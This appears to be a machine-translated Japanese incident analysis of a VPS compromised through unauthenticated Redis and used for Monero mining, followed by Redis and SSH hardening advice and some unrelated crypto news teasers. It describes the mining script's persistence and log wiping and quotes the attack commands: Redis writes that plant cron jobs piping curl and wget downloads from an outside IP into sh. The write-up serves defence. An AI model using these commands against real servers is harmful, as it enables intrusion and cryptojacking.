ある日、VPS サーバーで CPU アラームを受信しました。サーバーにログオンすると、gpg-agentd というプロセスが大量の CPU リソースを占有していることがわかりました。次のステップは、IO ステータス、ネットワーク トラフィック、メモリ ステータス、システム ログ、crontab などの定期的なトラブルシューティングです。crontab を確認すると、crontab には次のタスクがあることがわかりました。
このサーバーは、著者がテストするための Redis リソースを提供します。明らかに、上記の 2 つのスケジュールされたタスクは作成者によって作成されたものではありません。スケジュールされたタスクが外部サーバーにアクセスする場合、緊急時には次の 3 つの手順を実行します。まず、他のサービスが影響を受けるかどうかを確認します。 2 番目に、スケジュールされたタスクについてコメントします。 3番目に、外部ネットワークから一時的に切断します。その後、原因を調査します。 0x01 マイニングスクリプト分析作成者はシェル スクリプトをローカルにダウンロードし、分析しました。スクリプトには次の関数が含まれています。
一つずつ分析してみましょう。 IKILLYOU 関数は、ssuspsplk プロセスと gpg-agentd プロセスを強制終了します。 CRON 関数は、ドキュメントの先頭にある 2 つの crontab を /tmp/.bla.cron ファイルに書き込み、ユーザーの crontab をクリアしてから、/tmp/.bla.cron ファイルを crontab に読み込みます。 FIRE 関数は、ポート 6379 に関連するファイアウォールを削除し、ローカル接続を許可し、ファイアウォール構成を永続化します。 INFO 関数は、現在のサーバー プロセス、サーバー ハードウェア属性、システム カーネル バージョン、Linux ディストリビューション バージョン、詳細な Linux ディストリビューション バージョン、Linux 標準仕様情報、crondb ファイルのヘルプ情報 (このファイルの役割については後で詳しく説明します) などのホスト情報を収集し、最終的に上記の情報を 84.73.251.157 の指定されたディレクトリにアップロードするために使用されます。 次に、DOWNLOAD 機能について説明します。この関数は、84.73.251.157 から crondb ファイルと cj をローカルに配置し、これら 2 つのファイルを分析します。 前述のように、INFO 関数は crondb ファイルのヘルプ情報を取得します。 INFO 関数ステートメントを実行してみましょう。 ./crondb --help 使用法: xmrig [オプション] オプション: -a, --algo=ALGO cryptonight (デフォルト) または cryptonight-lite -o, --url=URL マイニングサーバーのURL -O, --userpass=U:P マイニングサーバーのユーザー名:パスワードのペア -u, --user=USERNAME マイニングサーバーのユーザー名 -p, --pass=PASSWORD マイニングサーバーのパスワード -t, --threads=N マイナースレッドの数 -v, --av=N アルゴリズムバリエーション、0 自動選択 -k, --keepalive タイムアウトを防ぐために keepalived を送信します (プールのサポートが必要) -r, --retries=N バックアップ サーバーに切り替える前に再試行する回数 (デフォルト: 5) -R, --retry-pause=N 再試行間の一時停止時間 (デフォルト: 5) --cpu-affinity プロセスアフィニティを CPU コアに設定し、コア 0 と 1 の場合はマスク 0x3 を設定します。 --cpu-priority プロセスの優先度を設定します (0 アイドル、2 通常、5 最高) --no-huge-pages 巨大ページのサポートを無効にする --no-color 色付き出力を無効にする --donate-level=N 寄付レベル、デフォルト 5% (100 分のうち 5 分) --user-agent プールのカスタムユーザーエージェント文字列を設定します -B, --background マイナーをバックグラウンドで実行します -c, --config=FILE JSON形式の設定ファイルを読み込む -l, --log-file=FILE すべての出力をファイルに記録します -S, --syslog 出力メッセージにシステムログを使用する --max-cpu-usage=N 自動スレッドモードの最大 CPU 使用率 (デフォルト 75) --safe 現在のCPUのスレッドとAV設定を安全に調整します --nicehash nicehash/xmrig-proxy サポートを有効にする --print-time=N ハッシュレートレポートをN秒ごとに印刷します --api-port=N マイナー API のポート --api-access-token=T API のアクセストークン --api-worker-id=ID API のカスタムワーカー ID -h, --help このヘルプを表示して終了する -V, --version バージョン情報を出力して終了する 使用方法の手順を確認し、GitHub プロジェクトを検索すると、xmrig が Monero (XMR) CPU マイニングに使用されていることがわかります。次に、 /tmp/crondb -c /tmp/cj -Bにある cj ファイルを見てみましょう。 -c パラメータは構成ファイルを示し、-B はバックグラウンド実行を示します。つまり、cj は設定ファイルです。 cj ファイルを開いてキー プールの構成を確認すると、ユーザー構成が次のようになっていることがわかります。
これはMonero(XMR)ウォレットであると推測されます。 crondb を virscan.org にアップロードして分析しました。詳細なレポートはここからご覧いただけます。 Ikarus は PUA.CoinMiner、qh360 は Win32/Virus.DoS.dc1、rising は Trojan.Linux.XMR-Miner としてマークされています。これにより、これがマイニングに使用される実行可能ファイルであることも確認されます。 分析を続けましょう。次に破壊的な作業を行います。
CLEAN 関数も破壊的な関数です。まず、/etc/security/limits.conf および /etc/sysctl.conf システム構成ファイルが変更されます。次の構成を追加します。
次に、RMLIST リスト内のファイルを削除し、KILIST リスト内のプロセスを強制終了します。 KILISTには何が含まれていますか?また、ウォレット アドレスやマイニングに関連するプロセスでもあります。この男は自分の利益だけを望んでいて、兄弟の生死など気にしていない、ハハ。次に、クレイジーキルが実行されます。これは、マイニングウォレットアドレスまたは関連プロセスでもありますが、このリストは少し長いため、ここでは繰り返しません。 分析を続けましょう。 INIT 関数は、nr_hugepages カーネル構成を変更します。 ITABLE 関数は、ポート 6379 に関連するファイアウォールを削除して、ローカル接続を許可します。次の CRON 関数は上記と同じ機能を持つため、ここでは繰り返しません。 最後に、スクリプトが最適化されました。 /tmp/crondb ファイルと /tmp/cj ファイルがないことが判明した場合は、ダウンロードを続行します。システムの GLIBC バージョンが要件を満たしていない場合は、アップグレードして LD_LIBRARY_PATH にロードすると役立ちます。次に、パスワードなしでログインできるように、authorized_keys ファイルに独自のキーを書き込み、その後の操作を容易にします。最後に、/var/log/wtmp をクリアし、/var/log/secure をクリアし、実行コマンドの履歴をクリアします。 Monero (XMR) は追跡不可能なため、ウォレット アドレスを通じて取引記録を追跡することはできません。つまり、ハッカーがそこからどれだけの利益を得たかを知る方法はありません。 0x02 サーバーハッキング分析この分析により、採掘プロセスについてより明確に理解できるようになりました。しかし、疑問は、なぜサーバーがハッキングされたのかということです。 先ほどの分析から、スクリプトはよく知られている Redis ポートであるポート 6379 を処理することがわかります。 Redis の作者 antirez は、かなり前に「Redis のセキュリティに関するいくつかのこと」という記事を書きました。その中で、不正アクセスの脆弱性について言及されていました。具体的な脆弱性については、こちらの記事を参照してください。 VPS サーバーの Redis ポートにパスワードが追加されていなかったため、ファイアウォールがオンになっていたにもかかわらず、ファイアウォールに開かれた権限が多すぎて、ハッカーが攻撃の機会を利用できる状態になっていました。具体的な操作手順はどのようなものですか? まず、VPS IP をスキャンして、Redis ポート 6379 があることを確認します。パスワードなしでログインしてみます。 次に、以下のコマンドを順番に実行します。 キー1 を "\n*/5 * * * * curl -fsSL http://84.73.251.157:81/bar.sh | sh\n" に設定 キー2 を "\n*/5 * * * * wget -q -O- http://84.73.251.157:81/bar.sh | sh\n" に設定 設定ディレクトリを /var/spool/cron/ に設定する config set dbfilename ルート 保存 3 番目に、Linux サーバーが crontab に自動的にロードされ、スケジュールされたタスクが bar.sh スクリプトを実行し、サーバーがマイニングに受動的に使用されます。 RedisではAOFが有効になっているため、次のスクリプトを使用してAOF [1]をバックトラックし、KEYに書き込まれたキーと値のペアを確認します。 #!/usr/bin/env python """ Redis 追加専用ファイル パーサー 「」 インポートログ 輸入ハイレディス インポートシステム len(sys.argv) != 2の場合: sys.argv[0], 'aof_file' を印刷します sys.exit() ファイル = open(sys.argv[1]) 行 = file.readline() cur_request = 行 while行: req_reader = hiredis.Reader() req_reader.setmaxbuf(0) req_reader.feed(現在のリクエスト) コマンド = req_reader.gets() 試す: コマンドがFalseでない場合: 印刷コマンド 現在のリクエスト = '' hiredis.ProtocolErrorを除く: 「プロトコルエラー」を印刷する 行 = file.readline() cur_request += 行 ファイルを閉じる この分析から、許可されていない脆弱性は非常に危険であることがわかります。そのような抜け穴がある限り、ハッカーは何でもできるのです。 0x03 防衛計画ハッカーがどのように犯罪を犯すかはすでにわかっていますが、私たちはどのように身を守ることができるのでしょうか?ここで著者は自身の考えを述べています。 3.1 レディスRedis の作者は、「Redis のセキュリティに関するいくつかの事項」という記事の中で、Redis の不適切な構成により不正アクセスが発生し、攻撃者によって悪意を持って利用される可能性があると述べています。現在、Redis への不正アクセスでよく使われる新しいタイプの攻撃方法。特定の条件下では、Redis が root として実行されている場合、ハッカーは SSH 公開鍵ファイルを root アカウントに書き込み、SSH 経由で被害者のサーバーに直接ログインしたり、crontab にスケジュールされたタスクを書き込んで有害なサービスを実行したりすることができます。これらの攻撃により、サーバーの権限取得やデータの削除、漏洩、暗号化ランサムウェアが発生し、通常のビジネス サービスが深刻な危険にさらされる可能性があります。 [2] まず、ネットワーク層の強化には通常、次の 2 つの方法があります。
127.0.0.1 192.168.0.1 をバインド 注: Redis はバージョン 2.8.0 以降でデュアル IP バインディングをサポートします。
iptables -A 入力 -s xxxx -p tcp --dport 6379 -j 受け入れる 2番目はアカウントと認証 アクセス パスワードを設定し、構成ファイルに requirepass を追加します。この設定はオンラインで変更できます。設定が完了したら、CONFIG REWRITE を実行して設定ファイルを永続化します。 3番目に、サービスの実行権限を最小限に抑える Redis はデフォルトで root アカウントで実行されますが、これにより制御できないリスクが生じます。アカウントの分離を実現し、Redis サービスとホストのセキュリティを確保するために、権限の低いユーザーで Redis を実行したいと考えています。 調整内容は以下のとおりです。 # redisユーザーグループを作成する groupadd -r redis # redis ユーザーを追加し、それをシステム ユーザーとして指定し、デフォルトのシェルを /sbin/nologin に変更します useradd -c "Redis" -d /var/lib/redis -g redis -m -r -s /sbin/nologin redis # Redisホームディレクトリの権限を変更する chown redis:redis -R /opt/redis # Redis 関連プログラムの権限を変更する chown redis:redis /usr/local/bin/redis* 最後に、Redis ユーザーとしてインスタンスを起動します。 su -s /bin/bash redis -c "/usr/local/bin/redis-server /opt/redis/$port/redis.conf" 4番目は、サービスの承認を精緻化すること Redis にはアカウント権限システムがありません。侵入を回避するには、サービス レベルのコマンドの名前を変更するか、ブロックする必要があります。 高リスクのコマンドは次のとおりです。
上記のコマンドを設定ファイルに追加して、名前を変更したりブロックしたりすることができます。 # シールド CONFIG コマンド rename-command CONFIG "" # CONFIG コマンドの名前を変更する rename-command CONFIG "XKGLx9LFl87mQQLVl0b7UI4VZJESG5iU" 5番目はセキュリティパッチ 公式バージョンや脆弱性リストの変更に注意し、タイムリーにパッチを適用し、必要に応じてアップグレードしてください。 3.2 サーバーRedis 自体に加えて、サーバー上にも多くのセキュリティ ポリシーがあります。 まず、サーバーはデフォルトのポート 22 を使用しません。ポート 22 は SSH サービスのデフォルト ポートであり、ハッカーがサーバーの SSH サービスをスキャンするためのデフォルト ポートでもあります。 SSH ポートを変更するには、vim を使用して 2 番目に、パスワード ログインは禁止され、代わりに RSA 公開キー ログインが使用されます。ローカル マシンは RSAAuthentication yes # RSA 認証PubkeyAuthentication yes # 公開鍵認証を有効にするAuthorizedKeysFile .ssh/authorized_keys # ファイルパスを確認するPasswordAuthentication no # パスワード認証を無効にするPermitEmptyPasswords no # 空のパスワードを無効にする 最後に、sshd サービスを再起動して有効にします。 3番目に、rootユーザーのログインを禁止します。オンライン サーバーの場合、通常は通常のユーザーとしてログインし、su - root を使用して root ユーザーに切り替えます。これの利点は、たとえ攻撃を受けたとしても、それに応じた保護が得られるという点です。具体的な方法は 4番目に、サーバー監視を追加します。この記事のケースでは、CPU アラームに特に注意してください。さらに、異常なプロセスを監視する必要があります。 5番目に、ファイアウォールをオンにします。パブリック IP を持つサーバーの場合、ファイアウォール ポリシーを適切に実装する必要があります。通常、IP とポートを制限します。これは特定の IP またはポート、あるいは IP またはポートの範囲にすることができますが、特定の IP セグメントを開くことを忘れないでください。 6番目に、ソフトウェアは公式ソースからのみ入手してください。非公式チャネルからのソフトウェアには、他のトロイの木馬ファイルが含まれている可能性があります。正しい方法は、公式ソースからのみダウンロードし、ダウンロード後にファイルの MD5 値が公式の値と一致しているかどうかを確認することです。 7番目に、fail2banなどのツールを使用してサーバーのセキュリティを強化できます。複数のシステムのログ ファイルを監視し、検出された疑わしい動作に基づいてさまざまな防御アクションを自動的にトリガーします。 3.3 その他のサービスVPS サーバーに MySQL などのサービスが導入されている場合は、ここでも多くのセキュリティ対策が講じられます。たとえば、匿名アカウントを削除したり、テスト ライブラリを削除したり、権限を最小限に抑えたりします。MySQL セキュリティに興味がある場合は、この記事を参照してください。 3.4 日常的なユーザーVPS サーバーを持たないグループ メンバーは、どのようにしてセキュリティを確保できますか? VPS サーバーがなくても、PC または Mac がハッキングされ、マイニングに使用される可能性があります。以前、ブロックチェーン資産のセキュリティに関する記事を書いたことがありますので、読者の方は参考にしてください。この場合の提案をいくつか示します。
0x04 概要この記事は、サーバー ハッキング インシデントから始まり、マイニング スクリプト、ハッキング プロセスを分析し、Redis、サーバー、その他のサービス、日常のユーザーの観点から防御ソリューションを提供します。 Redis の不正アクセス脆弱性に加えて、現在、主な不正アクセス脆弱性には、NFS、Samba、LDAP、Rsync、FTP、GitLab、Jenkins、MongoDB、ZooKeeper、ElasticSearch、Memcache、CouchDB、Docker、Solr、Hadoop、Dubbo などがあります。セキュリティは最も重要であり、読者はそれを軽視してはなりません。 この記事に含まれる攻撃スクリプトに興味のある読者は、GitHub クローンにアクセスして確認することができます。リポジトリリンク:
0x05 参照
|
<<: ラジエーターは採掘に使用できますか? Qarnot、パッシブコンピュータを内蔵した家庭用ヒーターを発売
>>: マイニング事業のおかげで、AMDはNvidiaのGPU市場シェアの多くを獲得した。
FX168によると、ビットコインの価格は木曜日(12月31日)のアジアセッションで横ばいで変動し、そ...
編集者注: 2月になり、世界各地の大手金融機関がブロックチェーンの実験に力を入れています。最近、JP...
次世代 ASIC、プライバシー重視のオープンソース通貨。多層アーキテクチャにより、匿名性を重視した分...
ちょうど今、暗号資産分析会社サンティメントは、2016年7月以来、イーサリアムの上位10の非取引所ク...
https://weibo.com/ttarticle/p/show?id=230940423559...
Rage Review : 今月初め、Interledger は初の実際の支払いを実施し、いくつかの...
2020年5月、ビットコインは3回目のブロック報酬の半減期を迎えます。最近の価格上昇と、国によるブ...
2021年に暗号通貨界を席巻した「最初の鉱山」をつかむというブームの中で、Chiaは今年のトップのイ...
画像出典: Visual China 「今年、仮想通貨とマイニングの世界で合計700万元以上を失いま...
韓国の4大暗号通貨取引所の累計取引量は約45兆ウォンに達した。比較すると、韓国の2つの伝統的な株式市...
デジタル通貨といえば、まずどの通貨が思い浮かびますか?よく知られている人気のパブリックチェーンである...
注: 原著者は BitMEX の CEO であるアーサー・ヘイズ氏で、COVID-19 パンデミック...
Google、Facebook、Twitter、Uber と同じくらい成功する可能性のある企業に投...
8月24日、米国の仮想通貨マイニング企業Integrated Venturesは、2021年度の年...
6月1日、世界有数のビットコインチップおよびマイニングマシンソリューションプロバイダーであるBitm...